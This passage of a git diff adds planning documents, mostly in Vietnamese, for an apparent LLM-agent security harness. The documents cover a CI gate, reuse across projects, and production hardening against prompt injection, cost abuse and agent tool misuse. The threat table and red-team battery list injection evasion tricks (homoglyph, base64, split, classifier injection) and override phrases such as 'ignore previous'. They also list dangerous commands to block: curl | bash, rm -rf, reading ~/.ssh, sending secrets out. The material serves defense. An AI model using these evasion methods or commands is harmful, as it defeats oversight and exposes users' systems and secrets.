ghi config/ + domain/"] + APP --> AUD["audit-chain (H5) + checkpoint (H7)"] + AUD --> RUN["lần chạy sau tốt hơn"] + RUN --> T + + style DRY fill:#fff0c0,stroke:#b9770e + style REV fill:#e6d6ff,stroke:#6c3483 + style APP fill:#d0ffd0,stroke:#1e8449 +``` + +## Rủi ro +| Rủi ro | Giảm thiểu | +|---|---| +| Tự nới lỏng bảo mật | 4.8 nhãn security-sensitive + duyệt cao; siết mới auto | +| Che drift thật khi cập nhật golden | 4.5 cần duyệt + lý do; audit lại | +| Đề xuất rác/nhiễu | ngưỡng tín hiệu tối thiểu (đủ mẫu mới đề xuất) | +| Áp nhầm | 4.6 checkpoint → rollback | + +## Tiêu chí HOÀN THÀNH +- [ ] `casan improve --dry-run` sinh proposal có diff, KHÔNG đổi file. +- [ ] `--apply` chỉ chạy sau duyệt; ghi audit + checkpoint. +- [ ] Đề xuất "nới bảo mật" bị chặn nếu chưa duyệt cấp cao. +- [ ] Dashboard hiển thị xu hướng improvement qua các lần. +- [ ] Không có nhánh nào tự retrain / tự nới mà không có người. + +> Ranh giới trung thực: đây là **continuous improvement có người trong vòng lặp** + tự động hoá phần *đề xuất/đo*, KHÔNG phải AI tự tiến hoá. diff --git a/docs/plans/CASAN_PLAN_05_CICD.md b/docs/plans/CASAN_PLAN_05_CICD.md new file mode 100644 index 0000000..7eb9748 --- /dev/null +++ b/docs/plans/CASAN_PLAN_05_CICD.md @@ -0,0 +1,74 @@ +# CASAN PLAN 05 — CI/CD & Release Gate + +> Status 2026-07-06: **CI gate MVP implemented + locally syntax/filter verified**. +> A reusable local/CI gate script now exists, and a Gitea Actions workflow is +> wired to run it on `main` push/PR. Package publishing/release automation is +> still planned. + +## Delivered + +| Capability | Where | Verification | +|---|---|---| +| One-command harness CI gate | `.specify/scripts/bash/ci-harness-gate.sh` | `bash -n`; local suites are callable in safe order | +| Safe test order | `run-casan4` runs first because it rewrites `.specify/logs`; hardening suites run after | script order | +| Per-suite timeout | `CASAN_CI_STEP_TIMEOUT_SEC` protects CI from hung model/security subprocesses | full gate attempt exposed a long A6 run; timeout wrapper added | +| Filtered local verification | `CASAN_CI_SUITE_FILTER='phase2-sourcegen|phase10-traceability'` | `CI_GATE_SUMMARY PASS=2 FAIL=0 SKIP=15` | +| Source-gen gate included | `phase2-sourcegen-tests.sh` included | sourcegen 3/0 | +| Traceability gate included | `phase10-traceability-tests.sh` included | traceability 3/0 | +| Frontend runtime tests included | `npm test -w frontend` when npm is present | frontend Vitest path | +| Optional Docker local-prod lab | `CASAN_CI_RUN_INFRA_LAB=1` runs `phase-prod-infra-lab-tests.sh` only when Docker Compose is available | skip-aware by default | +| Gitea Actions workflow | `.gitea/workflows/harness-ci.yml` | workflow calls `ci-harness-gate.sh` | + +## Gate contents + +Required gate: + +- `run-casan4-harness-tests.sh` +- `adversarial-harness-tests.sh` +- `phase1-track-a-tests.sh` +- `phase2-track-c-tests.sh` +- `phase2-sourcegen-tests.sh` +- `phase3-evidence-pack-tests.sh` +- `phase3-model-router-tests.sh` +- `phase-h5-approval-tests.sh` +- `phase-h5-infra-tests.sh` +- `phase-h6-agentops-tests.sh` +- `phase-c7-incident-tests.sh` +- `phase-h4-multilingual-tests.sh` +- `phase-c6-sandbox-tests.sh` +- `phase-h4-split-inject-tests.sh` +- `phase10-traceability-tests.sh` +- `npm test -w frontend` when npm is available + +Optional gate: + +- `phase-prod-infra-lab-tests.sh` when `CASAN_CI_RUN_INFRA_LAB=1` and Docker + Compose is available. + +## Remaining work + +| Priority | Work | Done when | +|---|---|---| +| P1 | Run the workflow on the real Gitea runner | Gitea run shows green `CASAN Harness CI` on `main` | +| P2 | Investigate slow/hung A6 full-gate local run | `phase1-track-a-tests.sh` A6 completes under timeout consistently on Mac/runner | +| P3 | Decide Docker availability on runner | `CASAN_CI_RUN_INFRA_LAB=1` is enabled only if runner mounts Docker safely | +| P4 | Package/release automation | `npm pack` or release artifact for `fpt-casan-sdd-harness` is generated and versioned | +| P5 | Backend full `npm test` unblock | Prisma/MySQL-vs-SQLite test-infra mismatch is resolved or split into a proper MySQL service job | +| P6 | Branch protection | Merge requires green CI gate | + +## Local commands + +```bash +cd AINative_OKR_CASAN5 +bash -n .specify/scripts/bash/ci-harness-gate.sh +CASAN_CI_RUN_FRONTEND=1 CASAN_CI_RUN_INFRA_LAB=0 bash .specify/scripts/bash/ci-harness-gate.sh +CASAN_CI_RUN_INFRA_LAB=1 bash .specify/tests/phase-prod-infra-lab-tests.sh +``` + +## Notes + +- `backend npm test` is not part of the required CI gate yet because the current + repo has a known pre-existing mismatch: `schema.prisma` is MySQL-oriented but + `backend/scripts/setup-sqlite.mjs` applies migrations to SQLite. +- The workflow installs Node 20 inside the Gitea job if the runner image does + not already provide `node`/`npm`. diff --git a/docs/plans/CASAN_PLAN_06_ONBOARD.md b/docs/plans/CASAN_PLAN_06_ONBOARD.md new file mode 100644 index 0000000..3dd8e79 --- /dev/null +++ b/docs/plans/CASAN_PLAN_06_ONBOARD.md @@ -0,0 +1,66 @@ +# KẾ HOẠCH 06 — Onboard dự án thật thứ 2 (chứng minh reuse) + +> `project-registry.json` hiện có 1 dự án active (OKR) + 2 entry **demo** (A/B) [demo]. Kế hoạch: onboard **một dự án thật khác domain** để `verify-harness-reuse.sh` trả `HARNESS_REUSE_VALID` một cách có thật — bằng chứng harness tái dùng được. Task-level, chưa thực thi. +> +> Phụ thuộc: **01** (package tách + config/domain), **05** (CI). Đây là mảng thuyết phục nhất về "tái sử dụng". + +## Mục tiêu +- Chọn 1 domain khác OKR (ví dụ: quản lý công việc/ticket, kho hàng, hoặc CRUD nghiệp vụ khác). +- Cắm harness **không sửa gate**, chỉ nạp `config` + `domain` (golden/corpus/input). +- Chạy pipeline + harness tests đạt PASS + đăng ký registry → reuse hợp lệ thật. + +## Nguyên tắc +- **Không chạm `src/gates`:** nếu phải sửa gate → nghĩa là chưa đủ tách; ghi nhận nợ kỹ thuật. +- **Domain data tách bạch:** golden/corpus/input của dự án 2 nằm ở `apps//domain/`, không lẫn OKR. +- **Cùng version package:** dự án 2 dùng đúng `harness_version` với OKR để reuse có nghĩa. + +--- + +## Tasks + +| Task | Việc | File/Đối tượng | Verify | Done khi | +|---|---|---|---|---| +| 6.1 | Chọn domain + viết `okr-requirement`-tương đương cho dự án 2 | mới `apps//docs/input/*.md` | có requirement + architecture | input sẵn sàng | +| 6.2 | Tạo `apps//` theo khuôn app (pipeline trỏ package) | mới | `casan run` gọi được | app khung chạy | +| 6.3 | Nạp `config/thresholds.yaml` riêng (hoặc dùng default) | `apps//config` | override hoạt động | config áp đúng | +| 6.4 | Tạo **golden-runs** cho artifact chính của domain 2 | `apps//domain/golden-runs/` | drift-detect có mốc | golden sẵn | +| 6.5 | Tạo **redteam-corpus** cho domain 2 (injection theo ngữ cảnh mới) | `apps//domain/redteam-corpus/` | H4 chấm recall | corpus sẵn | +| 6.6 | Chạy pipeline dự án 2 qua harness | pipeline | mỗi step qua H1→H7, có verdict | chạy trọn | +| 6.7 | Chạy harness tests cho dự án 2 | tests | các gate PASS (điều chỉnh fixture theo domain) | test xanh | +| 6.8 | `casan register --project --domain ` | `project-registry.json` | entry `status: active` | đã đăng ký | +| 6.9 | `verify-harness-reuse.sh` | script | `HARNESS_REUSE_VALID ... project_count=2` | reuse thật | +| 6.10 | Ghi lại "phần phải sửa" (nếu có) làm nợ kỹ thuật cho 01/03 | mới notes | có danh sách gap | rút kinh nghiệm | + +--- + +## Tiêu chí "tái sử dụng thật" (đo được) + +```mermaid +flowchart LR + PKG["packages/casan-harness v1.x
(không sửa gate)"] --> A["apps/okr
domain OKR"] + PKG --> B["apps/<x>
domain mới"] + A --> REG["project-registry.json"] + B --> REG + REG --> V{"verify-harness-reuse"} + V --> OK["HARNESS_REUSE_VALID
project_count=2"] + + style PKG fill:#d0e8ff,stroke:#2c3e91,stroke-width:2px + style OK fill:#d0ffd0,stroke:#1e8449,stroke-width:2px +``` + +## Rủi ro +| Rủi ro | Giảm thiểu | +|---|---| +| Phải sửa gate cho domain mới | ghi nợ (6.10) → đẩy về 01/03 tách thêm; không hack tạm | +| Corpus/golden domain 2 sơ sài → gate vô nghĩa | tối thiểu N mẫu/gate; review chất lượng | +| Reuse "giả" (chỉ copy folder) | bắt buộc cùng `harness_version` + verify script | +| Tốn công dựng app 2 | chọn domain nhỏ, đủ để chứng minh, không cần đầy đủ tính năng | + +## Tiêu chí HOÀN THÀNH +- [ ] Dự án 2 chạy pipeline qua harness **không sửa `src/gates`**. +- [ ] Golden + corpus domain 2 có thật, gate chấm được. +- [ ] `project-registry.json` có 2 entry **active thật** (bỏ/đổi demo A/B). +- [ ] `verify-harness-reuse.sh` → `HARNESS_REUSE_VALID project_count=2`. +- [ ] Nợ kỹ thuật (nếu có) được ghi lại cho kế hoạch 01/03. + +> Đây là bằng chứng mạnh nhất cho tuyên bố "harness tái sử dụng cho nhiều dự án" — trước khi hoàn thành, chỉ nên nói **"cơ chế reuse có, dự án thật = 1, đang onboard dự án 2"**. diff --git a/docs/plans/CASAN_PLAN_07_PRODUCTION_HARDENING.md b/docs/plans/CASAN_PLAN_07_PRODUCTION_HARDENING.md new file mode 100644 index 0000000..b07e711 --- /dev/null +++ b/docs/plans/CASAN_PLAN_07_PRODUCTION_HARDENING.md @@ -0,0 +1,352 @@ +# KẾ HOẠCH 07 — Báo cáo Production-Readiness & Kế hoạch Nâng cấp H4·H5·H6 + +> **Hai phần trong một tài liệu:** (I) *Báo cáo* đánh giá mức sẵn sàng production của H4 Security · H5 Governance · H6 AgentOps, dựa trên đọc code thật; (II) *Kế hoạch nâng cấp* task-level (chưa thực thi) để vá các đường lọt đã nhận diện. +> +> Nhãn: [có] tồn tại thật · [demo] mẫu · [mới] cần làm · [chưa tự động] có đo/người quyết. Nguồn threat-model: OWASP LLM Top 10, OWASP Agentic Top 10, CSA MAESTRO, MITRE ATLAS. + +--- + +# PHẦN I — BÁO CÁO ĐÁNH GIÁ + +## 1. Câu hỏi lớn: "có nên nâng cấp luôn không?" + +**Khuyến nghị: CÓ, nhưng phân tầng — không đập một lúc.** + +- **Nếu sắp thi/demo:** *đóng băng* bản demo hiện tại; làm nâng cấp trên nhánh riêng. Không để việc siết bảo mật làm vỡ bản đang chạy. Trước giám khảo, **nói ra các đường lọt + lộ trình vá** đã là điểm cộng độ trưởng thành. +- **Nếu mục tiêu là production thật:** làm **Track A (quick wins, rủi ro thấp) NGAY**, đưa sau cờ bật/tắt + test đối kháng; **Track B (sâu hơn) làm sau**. + +> Lý do phân tầng: một số lỗ hổng (semantic SKIP, thiếu trần chi phí tuyệt đối) vá nhanh & an toàn; số khác (đa ngôn ngữ, quản lý khóa HSM, chống inject bộ phân loại) cần thời gian và dễ gây hồi quy. + +## 2. Thang điểm sẵn sàng production (0–5, cao = tốt) + +> ✅ **CẬP NHẬT 2026-07-06 — Track A + C-MVP + Evidence Pack + H5/H6/deep-gap hardening + Plan-10 traceability ĐÃ LÀM + TEST (218 core checks, 0 fail; model-router riêng 11/0). Local production-like Docker infra lab cũng đã có (2/0, verify nội bộ 7/0).** +> Bảng dưới có cột **Baseline → Nay**. Điểm chấm CÔNG TÂM (0–100, theo `casan_harness_assessment.md`): +> **H4 = 80 · H5 = 76→80 ⬆ · H6 = 79→80 ⬆ · trung bình 7 harness ~80.9/100 · không còn harness nào dưới 80 → CASAN Level 4 (vững ngưỡng)**. +> Nguồn: `00_SUBMISSION_PACKAGE/evidence/scoring-run-report.md`. Chi tiết implemented-vs-planned: `CASAN_HARDENING_STATUS.md`. + +| Chiều | Baseline | **Nay** | Đã đóng (đã test) | Còn hở | +|---|:--:|:--:|---|---| +| Phủ phát hiện (detection) | 3 | **4** | homoglyph · zero-width · fullwidth · base64/hex · tool-output scan | đa ngôn ngữ VI/JA · split-injection (Track B) | +| Fail-safe | 4 | **4.5** | `CASAN_SECURITY_STRICT` fail-closed — hết "semantic SKIP âm thầm" | — | +| Toàn vẹn/chống giả mạo (H5) | 3 | **4** | telemetry vào manifest **ký RSA** (sửa 1 token → MISMATCH) | — | +| Kiểm soát chi phí (H6) | 3 | **4** | trần tuyệt đối/call + ngân sách tích luỹ + cold-start (ngoài median×mult) | hard-cap per-provider live | +| Quan sát (observability) | 3 | **4** | telemetry toàn vẹn (ký) · **alerting LIVE** (webhook + dedup + dead-letter, end-to-end từ step fail) · **dashboard hosted** (`/healthz` stale-aware) · **Docker lab** có nginx auth + alert/billing mock · provider-API reconcile · window breaker (V15) | dashboard deploy managed + TLS/OIDC · Slack/PagerDuty/on-call thật · billing-API thật | +| Đa domain/i18n | 2 | **2.5** | benign corpus VI/JA/EN đo được (FP 0%) | detection vẫn chủ yếu EN (Track B) | +| Quản lý khóa | 2 | **4** | **KMS live** (Vault Transit) — ký qua KMS, **rotate**, khoá **non-exportable** (đã chạy thật) | KMS chưa mặc định (fallback local) · HSM · IdP token ngắn hạn | +| Phủ kiểm thử | 4 | **4.5** | **218 core tests** (35+44+25+29+7+12+7+20+15+7+6+8+3) đối kháng, 0 fail | line/symbol-level traceability + CI release gate | + +**Điểm trung bình (H4/H5/H6 mở rộng) ~3.0 → ~4.0/5; chấm công tâm per-harness H4=80 · H5=80 · H6=80 (~4.0/5). Không còn harness nào dưới 80.** + +> ⚠️ **Phạm vi rộng hơn — các chiều NGOÀI 3 harness lõi (Track C):** + +| Chiều (Track C) | Baseline | **Nay** | Đã đóng (đã test) | Còn hở | +|---|:--:|:--:|---|---| +| Tool authorization / action gating | 2 | **4** | `action-gate.sh` gate HÀNH ĐỘNG (V17) — .env/rm-rf/curl\|bash BLOCK, dep→approval | — | +| Supply-chain (dependency sinh ra) | 1 | **3.5** | `supply-chain-gate.sh` (V18) — typosquat/postinstall/denylist + dep-diff | CVE/OSV scanner live chưa nối | +| Data-governance / anti-exfil | 2 | **4** | `data-exfil-guard.sh` (V19) — secret→cloud BLOCK, PII→audit mask | — | +| Evidence Pack (Plan-09) | — | **4** | `casan pack/verify-pack` — manifest ký, tamper-evident, certified-gate | KMS sign · hosted store | +| Policy governance / approval | 2 | **4** | **approval-identity + Docker mock IdP/OIDC JWKS** (C4) — reviewer KÝ request hoặc JWT RS256 + role authz, hết env-var; SoD giữ (đã test 12/12 + infra lab) | enterprise IdP/JWKS · policy versioning/diff [planned] | +| Runtime sandbox | 1 | **2.5** | `sandbox-run.sh` scaffold (V22) — chặn ssh/egress/forkbomb/write-outside + ulimit | **cô lập kernel thật** (container/nsjail) [planned] | +| External append-only audit | 1 | **3.5** | **WORM ledger** (C5) — ship head hash-link ngoài, bắt rollback (`AUDIT_GAP_DETECTED`) + tamper | WORM store thật (S3 Object Lock) · trusted timestamp [planned] | +| Incident response | 1 | **1** | — | severity/owner/kill-switch (C7) [planned] | + +**→ C-MVP (C1+C2+C3 + Evidence Pack) ~3.8/5 + H5-hardening (C4 approval-identity + Docker mock OIDC/JWKS, KMS live, C5 WORM/MinIO Object Lock lab) + H6-hardening (D1 alerting live, D2 provider-API reconcile, D3 dashboard hosted/nginx auth lab, D4 window breaker V15) + deep-gap closers + Plan-10 traceability [đã làm + test thật]. Còn: enterprise IdP/JWKS, S3 Object Lock/QLDB thật, KMS default/HSM, dashboard deploy managed + kênh alert managed, billing-API thật [planned].** Trio H4/H5/H6 nay **~4.0/5 (H4=80·H5=80·H6=80)**; harness thấp nhất nhích **76 (H5) → 79 (H6) → 80 (đồng đều)**. Production toàn diện vẫn cần các mục [planned] ở trên. + +## 3. Bảng đường lọt (tóm tắt từ threat-model) + +| ID | Harness | Đường lọt | Mức | Vá ở Track | +|---|---|---|---|---| +| V1 | H4 | Semantic tùy chọn / SKIP khi vắng model | Cao | A | +| V2 | H4 | Injection đa ngôn ngữ (VI/JA) né regex Anh | Cao | B | +| V3 | H4 | Unicode homoglyph / zero-width / fullwidth | Trung–Cao | A | +| V4 | H4 | Encoding smuggling (base64/hex/rot13) | Trung | A | +| V5 | H4 | Inject vào chính bộ phân loại/judge | Trung | B | +| V6 | H4 | Split/multi-turn injection | Trung | B | +| V7 | H4 | Tool-output chưa quét như artifact | Trung | A | +| V8 | H5 | Mutation không qua wrapper → không audit | Cao | A | +| V9 | H5 | provider-usage.jsonl chưa nằm trong chuỗi ký | Cao | A | +| V10 | H5 | Quản lý private key (nội gián/rotation) | Cao | B | +| V11 | H5 | TOCTOU (sửa sau verify) | Trung | B | +| V12 | H6 | Slow-boil (median trôi, không trip) | Cao | A | +| V13 | H6 | Lạm dụng dưới ngưỡng (aggregate) | Trung–Cao | A | +| V14 | H6 | Cold-start chưa có baseline | Trung | A | +| V15 | H6 | Circuit-breaker né bằng xen kẽ thành công | Trung | B | +| V16 | Hệ thống | Tin model backend (poisoning/chiếm Ollama) | Trung | B | +| **V17** | H2/H4 | **Tool misuse / over-permission**: gọi tool hợp lệ nhưng hành động vượt quyền (ghi file nhạy cảm, network, lệnh nguy hiểm) | Cao | C | +| **V18** | H4/H5 | **Supply-chain**: LLM tự thêm dependency độc/typo-squat/lifecycle script nguy hiểm | Cao | C | +| **V19** | H4/H6 | **Data exfiltration** qua model cloud / log / tool call / artifact | Cao | A/C | +| **V20** | H5 | **Policy change không qua approval** / rollback policy không rõ (liên kết Plan-04) | Cao | C | +| **V21** | H5 | **Audit local bị xóa/rotate mất bằng chứng** (thiếu append-only ngoài runtime) | Trung–Cao | C | +| **V22** | H7/Hệ thống | **Runtime escape / resource abuse** của code/test sinh ra (đọc ~/.ssh, network, fork-bomb, ghi ngoài workspace) | Cao | C | +| **V23** | H6/H7 | **Thiếu incident workflow** khi gate phát hiện tấn công/spike/tamper (alert, owner, kill-switch) | Trung | A/C | + +> V17–V23 bổ sung theo review: Plan-07 gốc tập trung H4/H5/H6; production **nghiêm túc** cần nhìn rộng hơn → gom vào **TRACK C**. + +--- + +# PHẦN II — KẾ HOẠCH NÂNG CẤP (task-level) + +## Nguyên tắc +- **Mốc an toàn:** giữ **35/35 + 43/43 PASS** trước & sau mỗi task. +- **Fix phải kèm test đối kháng:** mỗi vector Vx có ca red-team chứng minh "trước vá lọt, sau vá chặn". +- **Sau cờ bật/tắt:** năng lực mới đưa sau env flag, bật dần. +- **Không tự nới lỏng:** mọi thay đổi ngưỡng/chính sách vào audit (H5). + +--- + +## TRACK A — Quick wins (rủi ro thấp, làm trước / cho production sớm) + +### A1 — Bịt "semantic SKIP âm thầm" (V1) +| Task | Việc | Verify | Done | +|---|---|---|---| +| A1.1 | Thêm chế độ `CASAN_SECURITY_STRICT=1`: artifact rủi ro **bắt buộc** semantic; vắng model → **BLOCK (fail-closed)**, không SKIP | ngắt Ollama + strict → rc=2 (không phải 0) | fail-closed thật | +| A1.2 | Ghi rõ trong log khi semantic SKIP (không im lặng) | grep log thấy `SEMANTIC_SKIPPED` | có cảnh báo | +| A1.3 | Test: prompt injection paraphrase (regex mù) + strict + model on → BLOCK | ca đối kháng PASS | chặn | + +### A2 — Chuẩn hoá Unicode/encoding (V3, V4) +| Task | Việc | Verify | Done | +|---|---|---|---| +| A2.1 | `normalize_for_match`: thêm NFKC, strip zero-width, fold fullwidth→ascii | homoglyph "ігnore" → khớp `ignore` | chuẩn hoá đúng | +| A2.2 | Thêm bước giải base64/hex nghi ngờ rồi quét lại | payload base64 "ignore previous" → BLOCK | chặn encoding | +| A2.3 | Test đối kháng cho homoglyph + zero-width + base64 | 3 ca PASS | phủ V3/V4 | + +### A3 — Quét tool-output như artifact (V7) +| Task | Việc | Verify | Done | +|---|---|---|---| +| A3.1 | Mọi kết quả tool trước khi vào ngữ cảnh model đi qua `artifact-scan` | tool trả payload độc → ARTIFACT_SCAN_BLOCKED | chặn | +| A3.2 | Test: tool giả trả injection | ca PASS | phủ V7 | + +### A4 — Toàn vẹn telemetry + mutation qua wrapper (V8, V9) +| Task | Việc | Verify | Done | +|---|---|---|---| +| A4.1 | Đưa `provider-usage.jsonl` vào chuỗi hash/ký (H5) | sửa 1 dòng token → `AUDIT_HASH_MISMATCH` | telemetry bất biến | +| A4.2 | Bổ sung kiểm "mọi mutation qua wrapper": scan artifact ghi ngoài harness | ghi thẳng file → cảnh báo/không audit bị phát hiện | phủ V8 | +| A4.3 | Test: giả mạo token để giấu chi phí → bị bắt | ca PASS | phủ V9 | + +### A5 — Trần chi phí tuyệt đối + ngân sách tích luỹ (V12, V13, V14) +| Task | Việc | Verify | Done | +|---|---|---|---| +| A5.1 | Thêm `cost_absolute_max` (trần cứng mỗi call) cạnh median tương đối | 1 call vượt trần tuyệt đối → exit=2 dù median cao | chặn slow-boil | +| A5.2 | Thêm `cost_cumulative_budget` (tổng theo phiên/ngày) | tổng vượt ngân sách → chặn dù mỗi call nhỏ | chặn dưới-ngưỡng | +| A5.3 | Cold-start: dùng trần tuyệt đối khi chưa đủ mẫu median | run đầu vẫn có bảo vệ | phủ V14 | +| A5.4 | Test: slow-boil (tăng dần) + spray (nhiều call nhỏ) | 2 ca PASS | phủ V12/V13 | + +### A6 — Benign corpus & ngân sách false-positive (chống siết quá) +> Theo review: FP trước đây mới nằm ở "rủi ro", nay thành task cứng — gate quá gắt thì team bỏ dùng. + +| Task | Việc | Verify | Done | +|---|---|---|---| +| A6.1 | Dựng **benign corpus** input hợp lệ (VI/JA/EN) | **≥ 30 mẫu / ngôn ngữ** | corpus sẵn | +| A6.2 | Mỗi thay đổi H4 báo `block_rate` + `false_positive_rate` | chạy ra 2 chỉ số | có số | +| A6.3 | Đặt **FP budget** cụ thể: FP > ngưỡng → không merge | **FP ≤ 3% (strict)** · **adversarial block ≥ 95%** · **vector CRITICAL block = 100%** | cổng FP có số | + +**Cổng ra Track A:** V1,V3,V4,V7,V8,V9,V12,V13,V14 + phần A của V19/V23 có test đối kháng xanh; **benign/FP trong ngân sách**; 35/35 + 43/43 không tụt. + +--- + +## TRACK B — Sâu hơn (làm sau / cần thời gian) + +### B1 — Corpus & phát hiện đa ngôn ngữ (V2) +| Task | Việc | Verify | Done | +|---|---|---|---| +| B1.1 | Bổ sung block-pattern + corpus VI/JA (injection cùng ngữ nghĩa) | câu tiếng Việt "bỏ qua chỉ dẫn trên" → BLOCK | phủ V2 | +| B1.2 | Đảm bảo model semantic đủ khả năng đa ngữ (đo recall VI/JA) | recall báo cáo (đo với model) | có số thật | + +### B2 — Chống inject bộ phân loại (V5) & split injection (V6) +| Task | Việc | Verify | Done | +|---|---|---|---| +| B2.1 | Tách rõ "tiêu chí (tin cậy)" vs "nội dung (không tin)" trong prompt judge (đã có mầm) + gia cố | inject trong artifact không lái được judge | phủ V5 | +| B2.2 | Ghép ngữ cảnh nhiều bước để quét payload rải | payload 2 mảnh → BLOCK khi ghép | phủ V6 | + +### B3 — Quản lý khóa & TOCTOU (V10, V11) +| Task | Việc | Verify | Done | +|---|---|---|---| +| B3.1 | Tách quyền ký (vault/HSM), rotation, private key ngoài repo | key không nằm trong repo; rotate được | giảm rủi ro nội gián | +| B3.2 | Verify sát thời điểm dùng (re-verify trước khi commit) | sửa sau verify → bị bắt | phủ V11 | + +### B4 — Tin cậy model backend (V16) & circuit né (V15) +| Task | Việc | Verify | Done | +|---|---|---|---| +| B4.1 | Pin model digest/checksum; cảnh báo khi model đổi | đổi model bất ngờ → cảnh báo | phủ V16 | +| B4.2 | Circuit-breaker theo **tỷ lệ lỗi cửa sổ trượt** (không chỉ liên tiếp) | xen kẽ thành công vẫn trip nếu tỉ lệ cao | phủ V15 | + +**Cổng ra Track B:** V2,V5,V6,V10,V11,V15,V16 có test/biện pháp; tài liệu cập nhật. + +--- + +## TRACK C — Production Controls **ngoài** H4/H5/H6 (theo review) + +> Trả lời câu bắt bẻ: *"scan prompt tốt, nhưng agent vẫn có thể thêm dependency độc hoặc ghi file nhạy cảm thì sao?"*. Đây là các kiểm soát production thật sự, ngoài phạm vi 3 harness lõi. + +### C0 — Quy ước chung Track C (priority · outcome · role · severity) + +**Ưu tiên triển khai (chia nhóm):** + +| Nhóm | Gồm | Lý do | +|---|---|---| +| **C-MVP** | C1 Tool-authz · C2 Supply-chain · C3 Data-exfil · C6 Sandbox | giảm rủi ro production trực tiếp nhất | +| **C-Governance** | C4 Policy-approval · C5 External-audit | quan trọng, có thể sau MVP | +| **C-Ops** | C7 Incident | nên có sớm, bản tối giản trước | + +> **Track C-MVP (C1+C2+C3+C6) = minimum bar** trước khi cho agent ghi code / chạy test trong môi trường production-like. + +**Chuẩn outcome (thay cho chỉ BLOCK/không):** `ALLOW` · `WARN` · `REQUIRE_APPROVAL` · `BLOCK`. + +| Case | Outcome | +|---|---| +| Ghi `.env` / private key / `.github/workflows` trái phép | **BLOCK** | +| Thêm dependency mới | **REQUIRE_APPROVAL** | +| Dependency có CVE critical | **BLOCK** | +| Gọi network domain lạ | **BLOCK / REQUIRE_APPROVAL** | +| Cost vượt hard budget | **BLOCK** | +| Cost tăng nhẹ, trong budget | **WARN** | + +**Reviewer role (cho C4 approval):** + +| Role | Duyệt gì | +|---|---| +| Security reviewer | H4/H5 policy, corpus, strict-mode | +| Tech lead | dependency / codegen policy | +| Ops owner | cost budget, kill-switch, provider setting | +| Project owner | golden / domain data | + +**Severity mapping (cho C7 incident):** + +| Vector | Severity | +|---|---| +| Secret gửi lên cloud model (V19) | **CRIT** | +| Tool ghi `.env` / private key (V17) | **CRIT** | +| Dependency postinstall nguy hiểm (V18) | **HIGH/CRIT** | +| Audit chain đứt (V21) | **HIGH** | +| Cost vượt budget (V13) | **MED/HIGH** | +| Benign FP vượt budget (A6) | **MED** | + +### C1 — Tool authorization / action gating (V17) +| Task | Việc | Verify | Done | +|---|---|---|---| +| C1.1 | Allowlist **hành động** mỗi tool (ghi file? network? sửa repo? cần approval?) ngoài allowlist tên tool | tool hợp lệ nhưng hành động vượt quyền → BLOCK/approval | có policy hành động | +| C1.2 | `adv-tool-overwrite-sensitive-file`: ghi `.env`/private key/CI config | BLOCK | phủ V17 | +| C1.3 | `adv-tool-network-exfil`: gửi dữ liệu ra URL lạ | BLOCK | phủ V17 | +| C1.4 | `adv-tool-dangerous-command`: `rm -rf`, `curl \| bash`, `chmod 777`, `git push --force` | BLOCK hoặc yêu cầu approval | phủ V17 | + +### C2 — Supply-chain cho code sinh ra (V18) +| Task | Việc | Verify | Done | +|---|---|---|---| +| C2.1 | Gate: dependency mới trong `package.json`/`requirements.txt`/`pom.xml`/`build.gradle` phải được scan | thêm package lạ → gate yêu cầu duyệt | có gate dep | +| C2.2 | Kiểm lockfile diff; chặn typo-squat + lifecycle script (`postinstall`…) | package typo → BLOCK | chặn độc | +| C2.3 | Chạy `npm audit`/`pip-audit`/`osv-scanner` + sinh SBOM/diff | có báo cáo CVE + SBOM | có bằng chứng | + +### C3 — Data exfiltration (V19) — phần A + C +| Task | Việc | Verify | Done | +|---|---|---|---| +| C3.1 | `adv-secret-to-cloud-model`: input chứa secret → không được gửi lên cloud | BLOCK/mask | phủ V19 (quan trọng khi Plan-03 nối cloud) | +| C3.2 | `adv-pii-in-audit-log`: PII vào audit → mask/BLOCK | mask | phủ V19 | +| C3.3 | `adv-artifact-leaks-env`: artifact chứa token/env → BLOCK | BLOCK | phủ V19 | + +### C4 — Enterprise policy governance (V20, liên kết Plan-04) +| Task | Việc | Verify | Done | +|---|---|---|---| +| C4.1 | Policy **versioning + diff**; thay đổi security-sensitive cần reviewer | đổi threshold/corpus/golden/strict-mode phải duyệt | có approval | +| C4.2 | Audit **actor identity**: ai approve, lúc nào, lý do | audit ghi đủ danh tính | truy được | +| C4.3 | Rollback policy theo version | rollback về bản cũ được | phủ V20 | + +### C5 — External append-only audit (V21) +| Task | Việc | Verify | Done | +|---|---|---|---| +| C5.1 | Ship audit ra **append-only** ngoài runtime (WORM/S3 Object Lock) | log ngoài hệ đang chạy | khó sửa hơn | +| C5.2 | Timestamp từ nguồn tin cậy + retention policy | có dấu thời gian đáng tin | phủ V21 | +| C5.3 | Alert khi **audit gap / chain đứt** | tạo gap → cảnh báo | phát hiện mất bằng chứng | + +### C6 — Runtime isolation / sandbox (V22) +| Task | Việc | Verify | Done | +|---|---|---|---| +| C6.1 | Chạy code/test sinh ra trong **sandbox**: giới hạn file/network/CPU/mem/timeout | vượt giới hạn → bị chặn | có sandbox | +| C6.2 | `adv-read-ssh` / `adv-net-egress` / `adv-forkbomb` / `adv-write-outside-workspace` / `adv-huge-file` | tất cả bị chặn | phủ V22 | + +### C7 — Incident response (V23) — phần A + C +| Task | Việc | Verify | Done | +|---|---|---|---| +| C7.1 | Gán **severity** (LOW/MED/HIGH/CRIT) cho mỗi loại phát hiện | sự kiện có nhãn severity | có phân loại | +| C7.2 | Runbook + owner/on-call + auto-create issue/report | BLOCK → sinh issue/alert | có workflow | +| C7.3 | **Kill-switch** theo project/model/provider + postmortem template | bật kill-switch → dừng đúng phạm vi | phủ V23 | + +**Cổng ra Track C:** V17–V23 có test/biện pháp; tool-authz + supply-chain + data-exfil + sandbox có ca đối kháng xanh; có incident runbook + kill-switch. + +--- + +## Bộ test đối kháng cần thêm (red-team battery) + +| Test | Vector | Kỳ vọng | +|---|---|---| +| `adv-homoglyph` | V3 | BLOCK | +| `adv-zerowidth` | V3 | BLOCK | +| `adv-base64-inject` | V4 | BLOCK | +| `adv-multilang-vi` / `-ja` | V2 | BLOCK | +| `adv-tool-output-inject` | V7 | ARTIFACT_SCAN_BLOCKED | +| `adv-telemetry-tamper` | V9 | AUDIT_HASH_MISMATCH | +| `adv-mutation-offwrapper` | V8 | phát hiện/không audit bị bắt | +| `adv-cost-slowboil` | V12 | exit=2 (trần tuyệt đối) | +| `adv-cost-spray` | V13 | exit=2 (ngân sách) | +| `adv-classifier-inject` | V5 | judge không bị lái | +| `adv-split-injection` | V6 | BLOCK khi 